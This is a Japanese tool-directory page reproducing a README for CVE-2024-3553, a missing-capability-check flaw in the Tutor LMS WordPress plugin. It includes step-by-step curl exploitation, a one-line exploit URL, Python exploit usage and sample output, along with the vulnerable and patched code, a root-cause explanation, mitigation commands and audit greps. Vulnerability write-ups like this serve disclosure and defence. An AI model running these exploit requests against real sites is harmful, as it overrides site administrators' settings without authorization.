Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-3553 — CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration | Kitploit
ツール/GitHubGitHub/randomrobbiebf/cve-2024-3553
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubrandomrobbiebf/cve-2024-3553

CVE-2024-3553

CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration

リポジトリを見る
7ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-3553

Tutor LMS <= 2.6.2 - 未認証による制限付きオプション更新に対する認可の欠如

Tutor LMS – WordPress用のeラーニングおよびオンラインコースソリューションプラグインは、バージョン2.6.2までのすべてのバージョンにおいて、hide_notices()関数に対する能力チェックの欠如により、データの不正な変更に対して脆弱です。これにより、認証された攻撃者(購読者などの低権限ユーザーを含む)が、管理者によって無効にされている可能性のあるサイトでユーザー登録を有効にすることが可能になります。

詳細

  • タイプ: プラグイン
  • スラッグ: tutor
  • 影響を受けるバージョン: 2.6.2
  • CVSSスコア: 6.5
  • CVSS評価: 中
  • CVSSベクトル: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • CVE: CVE-2024-3553
  • ステータス: アクティブ

PoC

自動化された悪用

完全なPythonエクスプロイトが利用可能です: exploit-cve-2024-3553-v2.py

root@kitploit:~
# 完全自動悪用
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# 登録ステータスのみ確認
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

手動による悪用

前提条件:

  • 任意の認証済みアカウント(購読者、投稿者など)
  • Tutor LMSプラグインがインストールおよび有効化されていること

ステップ1: 低権限ユーザーとしてログイン

root@kitploit:~
# 購読者または任意の認証済みユーザーとしてログイン
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

ステップ2: 管理エリアからNonceを抽出

root@kitploit:~
# 認証されたユーザーは(購読者でも) /wp-admin/ にアクセス可能
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

ステップ3: エクスプロイトを実行

root@kitploit:~
# ユーザー登録を有効にするリクエストを送信
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

ステップ4: 成功を確認

root@kitploit:~
# 登録が有効になったか確認
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "登録が有効になりました" || echo "登録は無効です"

ワンライナー悪用

root@kitploit:~
# 認証済みユーザーとして、以下にアクセスするだけ:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

出力例

root@kitploit:~
======================================================================
CVE-2024-3553 Exploit - Tutor LMS Missing Authorization
Target: https://target.com
======================================================================

[*] Checking current registration status...
[+] Registration is currently DISABLED

[*] Attempting to login as: subscriber
[+] Successfully logged in as: subscriber

[*] Step 2: Extracting nonce from admin area...
[+] Found nonce: abc123def456

[*] Step 3: Executing exploit to enable user registration...
[*] Target: https://target.com
[*] Using nonce: abc123def456
[*] Exploit URL: https://target.com/wp-admin/index.php
[*] Parameters: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Response status: 200
[+] Exploit request sent successfully!

[*] Step 4: Verifying exploitation success...
[+] Registration is currently ENABLED

======================================================================
[!] EXPLOITATION SUCCESSFUL!
[!] User registration is now ENABLED
[!]
[!] Impact: An attacker with a low-privilege account (subscriber)
[!] was able to enable user registration on a site where it was
[!] disabled. This could allow creation of additional accounts,
[!] potentially leading to spam or unauthorized access.
======================================================================

脆弱なコード

ファイル: /classes/User.php(約800~815行目)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // 重大な欠陥: is_admin() は管理エリア内かどうかのみをチェックし、ユーザーロールはチェックしない!
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // 能力チェックなし - 認証されたユーザーなら誰でも実行可能!
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

主な脆弱性ポイント:

  1. is_admin() はリクエストが管理ページへのものであることのみを確認し、ユーザーが管理者であることは確認しない
  2. 認証されたユーザーなら誰でも(購読者でも) /wp-admin/ にアクセス可能
  3. nonceチェックはリクエストが意図的であることを検証するが、ユーザーが適切な権限を持っていることは検証しない
  4. 欠落: current_user_can('manage_options') 能力チェック
  5. これにより、認証されたユーザーなら誰でも users_can_register オプションを変更できる

パッチ(v2.7.0)

ファイル: /classes/User.php(パッチ適用版)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // セキュリティ修正: 能力チェックを追加
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // 適切に保護されました
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

このパッチでは current_user_can('manage_options') を追加し、オプション更新を許可する前にユーザーが管理者権限を持っていることを確認します。

影響

  • 中程度の深刻度: サイトを直接侵害するわけではありませんが、この脆弱性により以下のことが可能になります:
    • 管理制御の回避
    • 堅牢化/プライベートサイトでのユーザー登録の有効化
    • スパムアカウント作成の可能性
    • サイトセキュリティポリシーの回避
    • サイト設定の不正な変更

根本原因分析

よくあるWordPressセキュリティの誤り

この脆弱性は、WordPressの認可機能に関する重大な誤解を示しています:

間違い ❌:

root@kitploit:~
if ( is_admin() ) {
    // 「ユーザーは管理者」と誤解
    update_option( 'sensitive_option', $value );
}

正しい ✅:

root@kitploit:~
if ( current_user_can( 'manage_options' ) ) {
    // 実際にユーザーが管理者権限を持っているかチェック
    update_option( 'sensitive_option', $value );
}

関数比較

関数

必要な多層防御

適切なWordPressセキュリティには複数の層が必要です:

  1. Nonce検証 - CSRF攻撃を防止
  2. 能力チェック - 適切な認可を保証
  3. 入力サニタイズ - インジェクション攻撃を防止

これらの層のいずれかを欠くと、脆弱性につながる可能性があります。

緩和策

サイト管理者向け:

すぐにTutor LMSバージョン2.7.0以降に更新してください:

root@kitploit:~
# WP-CLI経由
wp plugin update tutor --version=2.7.0

# WordPress管理画面経由
ダッシュボード → プラグイン → "Tutor LMS" を探す → "今すぐ更新" をクリック

最近の変更の監査:

root@kitploit:~
# 登録設定が最近変更されたか確認
wp option get users_can_register

# 最近のユーザー登録を確認
wp user list --orderby=registered --order=DESC --number=20

セキュリティの教訓

開発者向け

  1. 認可のために is_admin() だけに依存しない
  2. 能力チェックには常に current_user_can() を使用する
  3. Nonce検証と能力チェックを組み合わせる
  4. セキュリティに関するWordPressコーディング標準に従う
  5. 開発中は低権限アカウントでテストする

テスト手法

WordPressプラグインの認可問題を監査する際:

root@kitploit:~
# 1. 能力チェックなしの is_admin() を検索
grep -r "is_admin()" . | grep -v "current_user_can"

# 2. 直接のオプション更新を探す
grep -r "update_option\|add_option" .

# 3. 能力チェックのないAJAXハンドラを見つける
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"

参考文献

  • Wordfence勧告: https://www.wordfence.com/threat-intel/vulnerabilities/id/f8d4029e-07b0-4ceb-ae6e-11a3f7416ebc?source=cve
  • WordPress Tracパッチ: https://plugins.trac.wordpress.org/changeset/3076302/tutor/tags/2.7.0/classes/User.php
  • WordPress能力リファレンス: https://wordpress.org/documentation/article/roles-and-capabilities/
  • WPScanエントリ: https://wpscan.com/vulnerability/cve-2024-3553

このリポジトリ内のファイル

  • README.md - このファイル
  • exploit-cve-2024-3553.py - 基本的なPythonエクスプロイト
  • exploit-cve-2024-3553-v2.py - 詳細なドキュメント付きの拡張Pythonエクスプロイト
  • manual-exploit-cve-2024-3553.sh - 手動悪用スクリプト
  • test-cve-2024-3553-direct.sh - 直接確認テストスクリプト

発見日: 2024-04-15 開示日: 2024-05-20 パッチ適用日: 2024-05-21 (v2.7.0) テスト日: 2025-12-26 分類: 脆弱性検証成功

ツールをダウンロード
実際にチェックする内容
セキュリティ上の用途
is_admin()現在のURLが /wp-admin/ 内にあるかどうか❌ 認可には使用しない
current_user_can()ユーザーが特定の能力を持っているかどうか✅ 適切な認可
wp_verify_nonce()リクエストが意図的かどうか(CSRF保護)✅ ただし単独では不十分